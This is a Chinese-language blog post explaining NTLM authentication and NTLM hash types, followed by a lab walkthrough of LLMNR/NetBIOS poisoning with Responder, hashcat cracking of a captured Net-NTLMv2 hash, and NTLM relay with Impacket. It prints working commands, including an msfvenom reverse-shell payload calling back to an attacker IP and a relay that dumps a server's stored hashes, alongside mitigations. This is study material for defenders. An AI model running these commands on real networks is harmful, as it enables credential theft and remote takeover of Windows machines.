NTLM Relay

NTLM-Hash和NET-NTLM-Hash:

Windows机器基本都采用NTLM-Hash来存储用户密码,通常保存在SAM文件中(域Hash保存在域控的NTDS.dit文件中),可以用mimikatz读取lsass进程获得已登录用户的密码hash,或者用注册表的形式导出SAM文件获得在本机存储的用户hash。

从Window Vista 和 Windows Server 2008开始,默认情况只存储Ntlm Hash。某些工具在PTH或者其他过程中需要使用 LM:NTLM 格式的时候,LM可以为任意值。

NET-NTLM-Hash是由NTLM-Hash和challenge值加密生成的,用于NTLM认证。


NTLMv1和NTLMv2(用于NTLM认证):

Challenge:

NTLM v1:8字节
NTLM v2:16字节

Net-NTLM-Hash:

NTLM v1:DES加密算法
NTLM v2: HMAC-MD5加密算法

当然由于使用不同格式的 Challenge 和加密算法,也就存在不同的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash

NTLMv1不够安全,拿到后可以进行暴力破解,所以现在大多都是使用的NTLMv2。


本地认证流程:

winlogon.exe -> 接收用户输入 -> lsass.exe -> (认证)

首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登录界面,也就是输入框,接收输入后,将密码交给lsass进程,这个进程中会存一份明文密码,将明文密码加密成NTLM Hash,对SAM数据库比较认证。

Windows Logon Process(即 winlogon.exe):是Windows NT 用户登陆程序,用于管理用户登录和退出。

LSASS:用于微软Windows系统的安全机制。它用于本地安全和登陆策略


NTLM认证:

image

工作组中

1.客户端告诉服务器它要进行身份验证。

2.服务器传入 NTLM SSP,得到 NTLM_CHALLENGE 消息(16位随机值),并返回给客户端。

3.客户端取出challenge随机值,使用要登录用户的NTLM-Hash对challenge进行加密,得到相应的NET-NTLM-Hash,发送给服务端。

4.服务端根据challenge同样使用存储的登录用户密码 hash 加密 Challenge,生成challenge1,比较NET-NTLM-Hash和challenge1,如果相同则验证成功

域环境中

前三步与工作组相同

4.由于域机器SAM文件中不存在域用户的NTLM hash,所以服务器将客户端用户名、第三步返回的NET-NTLM-Hash和第二步生成的NTLM_CHALLENGE通 Netlogon协议交到域控手中,让域控对其进行身份验证。

5.域控通过客户端用户名在自己的ntds.dit中找到对应的NTLM-Hash,用NTLM_CHALLENGE对其进行加密,再与NET-NTLM-Hash进行对比。如果相同则表示用户拥有的密码是正确的,否则则验证失败,DC将结果返回给服务器。

6.服务器根据DC的结果成功与否返回给客户端。

SSPI接口(安全支持提供程序接口)

是微软提出的用于标准化身份验证的接口,事先定义好了与安全有关的功能函数,用于获取校验信息完整性等,没有具体的实现。

SSP(安全服务提供)

为SSPI的实现者,微软自己实现了如下的 SSP,用于提供安全功能。例如:NTLM SSP,Kerberos等。

现在Windows主要用 NTLMv2(工作组环境) 和 Kerberos(域环境) 验证体系。NTLM只支持Windows,而Kerberos不仅支持Windows,而且支持Linux。


NetBIOS和LLMNR欺骗得到Net-NTLMHash

什么是NetBIOS和LLMNR:

NetBIOS和LLMNR(Link-LocalMulticast NameResolution)是Microsoft针对工作组和域设计的名称解析协议,主要用于局域网中的名称解析。当DNS解析失败时,Windows系统会使用NetBIOS和LLMNR搜索名称。这些协议只为本地连接设计。

Netbios(Network Basic Input Output System):网络基本输入输出系统

是一种应用程序接口(API),系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址。几乎所有的局域网都是在NetBIOS协议的基础上工作的。在Windows操作系统中,默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。

LLMNR(Link-LocalMulticast NameResolution):链路本地多播名称解

是一个基于协议的域名系统(DNS)数据包的格式。LLMNR协议类似于ARP协议:当主机访问另外一台主机时,如果只知道对方的主机名,则会向局域网内广播请求,询问该主机名对应的ip地址,然后收到该请求的主机首先会判断自己的主机名是否是这个,如果是的话则会回复一个ip地址,如果主机名不符合则丢弃。

攻击原理:

windows解析顺序:

本地host文件>dns缓存>dns服务器>名称解析协议(NetBIOS和LLMNR广播)

NetBIOS和LLMNR协议对于没有DNS的工作站系统来说很有帮助,但也对攻击者大开方便之门。当输入不存在、包含错误或者DNS中没有的主机名时,就会使用这些协议在网络中搜索主机,这些协议的本质决定了本地网络上的任何主机都可以回答请求。这意味着作为攻击者,能够代替网络上任何不存在的主机回答请求,并诱导搜索内容的主机连接到攻击者。

Responder进行攻击:

kali已经默认集成了responder,这个工具能进行NetBIOS,LLMNR欺骗。

攻击者:

responder -I eth0 -f

其中:

-I表示指定的网卡,-f表示允许攻击者查看受害者的主机指纹。

image

image

开启后,对LLMNR、NetBIOS、DNS/MDNS的毒化开始进行。

受害者在资源管理器的地址栏中输入\\adaaaada时,系统会尝试连接主机“adaaaada”。首先它会检查本地host文件,然后检查DNS,如果都不存在,就会通过LLMNR协议进行多播,在局域网中进行搜索。此时可以在攻击机上看到Responder的响应,然后受害者的Windows机器会向攻击者进行身份验证。

image

获取Net-NTLMHash:

image

responder也会自动将结果保存在/usr/share/responder/logs/ 目录下

image

使用Hashcat破解Net-NTLMHash:

hashcat.exe -m 5600 aspnet::HIRO:67317ae12da2a6bf:0A8C18A3412E1051B33A5516618CB23B:010100000000000080DD00168A5FD701E1910DC282B3666E00000000020008004600340059004D0001001E00570049004E002D004F003600470056004A00480048004600460059005A0004003400570049004E002D004F003600470056004A00480048004600460059005A002E004600340059004D002E004C004F00430041004C00030014004600340059004D002E004C004F00430041004C00050014004600340059004D002E004C004F00430041004C000700080080DD00168A5FD70106000400020000000800300030000000000000000100000000200000EFBD98EB057A087ACFA02DC5E544C7C6ED6CDC5EC6C87BD8BA7AABFBAC48E6910A001000000000000000000000000000000000000900180063006900660073002F0061006100610061007300730073000000000000000000 pass.txt --force

其中:

aspnet:要访问的服务器的用户名
HIRO:域名
67317ae12da2a6bf:16位的challenge值
剩余部分:根据自身密码的NTLM-hash对challenge加密

爆破得到密码:

image

防止NetBIOS和LLMNR欺骗:

NetBIOS:

网络适配器--属性--IPV4--属性--高级--WINS--选中“禁用TCP / IP上的NetBIOS”

image

LLMNR:

本地计算机策略 > 计算机配置 > 管理模板 > 网络 > DNS客户端>关闭多播名称解析

image

NTLM-relay攻击

image

其实就相当于中间人攻击,client认为attacker是server端,而server端也以为attacker是client端,attacker在中间起到进行数据转发的作用。

内网工作环境:

工作组:

NTLM Relay攻击在工作组环境下感觉用处不大,因为工作组只是在一个内网环境中,各个机器并没有明确关系,所以这个时候relay的话需要账号密码相同,但是如果账号密码相同的话,为什么不直接用哈希传递呢?

域:

域环境中的hash都统一存储在域控的NTDS.dit中,如果域内没有限制域用户登录到指定机器,那么就能域用户relay到其他机器或者直接使用域控relay到域机器(域控默认开启smb签名,而其他域机器默认不开启)

实验环境:

client:域控@administrator@192.168.228.10
server1: 域机器@192.168.228.13(win2008)
server2:域机器@192.168.228.40(win10)
attacker:kali@192.168.228.110

NTLM-relay复现:

Impacket中的smbrelayx.py

攻击者伪造一个恶意的SMB服务器,当内网中有client访问这个SMB服务器时,smbrelayx.py将抓到client的NET-NTLM-Hash,然后重放给server端进行身份验证。

先生成一个msf马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.228.110 LPORT=4444 -f exe > shell.exe

image

msf设置监听:

ps:要设置set AutoRunScript migrate,成功得到session后自动迁移进程,如果没有设置,在Removing file的时候会话也随之结束。

image

执行smbrelayx.py:(由于server2端中的win10不成功,所以采用server1进行攻击)

首先将生成的msf马拖到smbrelayx.py同目录下

python3 smbrelayx.py -h 192.168.228.13 -e ./shell.exe (-e选项在目标主机上传并运行payload)

image

在域控上执行

image

可以看到在kali中:

smbrelayx.py拿到了当前用户的NET-NTLM-Hash

msf获得了192.168.228.13的会话

image

Impcaket中的ntlmrelayx.py

ntlmrelayx.py是对smbrelayx的改进,支持多种协议进行中继
ntlmrelayx.py 脚本可以直接用现有的 hash 去尝试重放指定的机器

kali:

responder -I eth0 -r -d -v 开启毒化

python3 ntlmrelayx.py -t smb://192.168.228.40(server端ip)

image

在域控资源管理器的地址栏中输入\\bbb时,系统会尝试连接主机“bbbbb”。首先它会检查本地host文件,然后检查DNS,如果都不存在,就会通过LLMNR协议进行多播,在局域网中进行搜索。此时可以在攻击机上看到Responder的响应,然后受害者的Windows机器会向攻击者进行身份验证。

image

responder开启毒化后将身份验证所需的NET-NTLM-Hash传到192.168.228.40(server端ip),在server端进行验证。

Relay成功后这个脚本重放了445并执行了dumphash的命令,由于是域管用户,所以将server端存储的所有hash都dump出来了。

image

分析:

生成如下smb数据包

image

可以看到36-38中attacker作为中间人转发了challenge

image

39-41中attacker作为中间人转发了NTLM-response

image

在整个过程中attacker只会做一个中间人该做的事情,把相应的凭证在client和server进行转发

参考:

https://en.hackndo.com/ntlm-relay/

https://blog.csdn.net/whatday/article/details/107698383

很多利用方法并没有列出来,到时候都整理清楚了再添吧。。。

posted @ 2021-06-16 01:39  cAr7n  阅读(533)  评论(0编辑  收藏  举报